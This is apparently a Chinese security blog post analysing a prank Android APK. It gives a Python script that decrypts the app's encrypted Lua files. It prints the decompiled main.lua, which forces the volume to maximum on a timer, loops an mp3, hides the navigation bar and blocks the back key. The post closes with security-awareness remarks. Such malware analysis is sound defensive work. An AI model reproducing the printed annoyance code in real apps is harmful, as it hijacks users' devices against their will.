“送给最好的TA.apk”简单逆向分析
- 2019 年 10 月 4 日
- 筆記
20190927收到一个apk,名字叫“送给最好的TA.apk”。文件哈希值如下:
逆向分析
用AndroidKiller对apk进行逆向分析。

发现一个0.mp3和2个lua文件。其中0.mp3就是罪魁祸首了。而lua文件打开是乱码也不是字节码。

通过分析java代码,发现调用了libarmeabi-v7alibluajava.so对lua进行解密,于是用IDA Pro 7.0 x86对so文件进行逆向。

在luaL.loadbufferx函数里,有解密过程,整个代码不复杂,编写解密脚本如下:
# -*- coding:utf8 -*- __author__='pcat@chamd5.org' __blog__='http://pcat.cc' from ctypes import * import sys def decrypt(filename): s=open(filename,'rb').read() outfile='out.lua' if s[0]==chr(0x1b) and s[1]!=chr(0x4c): rst=chr(0x1b) size=len(s) v10=0 for i in range(1,size): v10+=size v=(c_ulonglong(-2139062143*v10).value>>32)+v10 v1=c_uint(v).value>>7 v2=c_int(v).value<0 rst+=chr(ord(s[i])^(v10+v1+v2)&0xff) with open(outfile,'wb') as f: f.write(rst) else: pass def foo(): if len(sys.argv)==2: filename=sys.argv[1] else: filename='main.lua' decrypt(filename) if __name__ == '__main__': foo()
解密后是正常的lua字节码,可使用unluac进行反编译。
java -jar unluac.jar out.lua >raw.lua
解密后的init.lua:
local L0_0 appname = "233128129231187153230156128229165189231154132TA" appver = "1.0" appcode = "10" appsdk = "15" path_pattern = "" packagename = "com.sgzh.dt" theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth" app_key = "" app_channel = "" developer = "" description = "" debugmode = false L0_0 = { "INTERNET", "WRITE_EXTERNAL_STORAGE" } user_permission = L0_0
解密后的main.lua:
require("import") import("android.app.*") import("android.os.*") import("android.widget.*") import("android.view.*") import("android.view.View") import("android.content.Context") import("android.media.MediaPlayer") import("android.media.AudioManager") import("com.androlua.Ticker") activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) m = MediaPlayer() m.reset() m.setDataSource(activity.getLuaDir() .. "/0.mp3") m.prepare() m.start() m.setLooping(true) ti = Ticker() ti.Period = 10 function ti.onTick() activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) end ti.start() function onKeyDown(A0_0, A1_1) if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) end return true end
其中,定时器不断地设置音量为15(最大值)。

安全意识的感悟
科技发展日新月异,加强关注网络安全,提高网络安全意识刻不容缓。在网络安全意识上一定要多加注意,多了解一些网络安全常识和网络安全技术问题,可以使我们能保证自己的安全。
另外,程序员制作程序的初衷应当是为了让世界更方便快捷美好之类的,而做这些乱七八糟坑人的东西,根本没有任何意义。
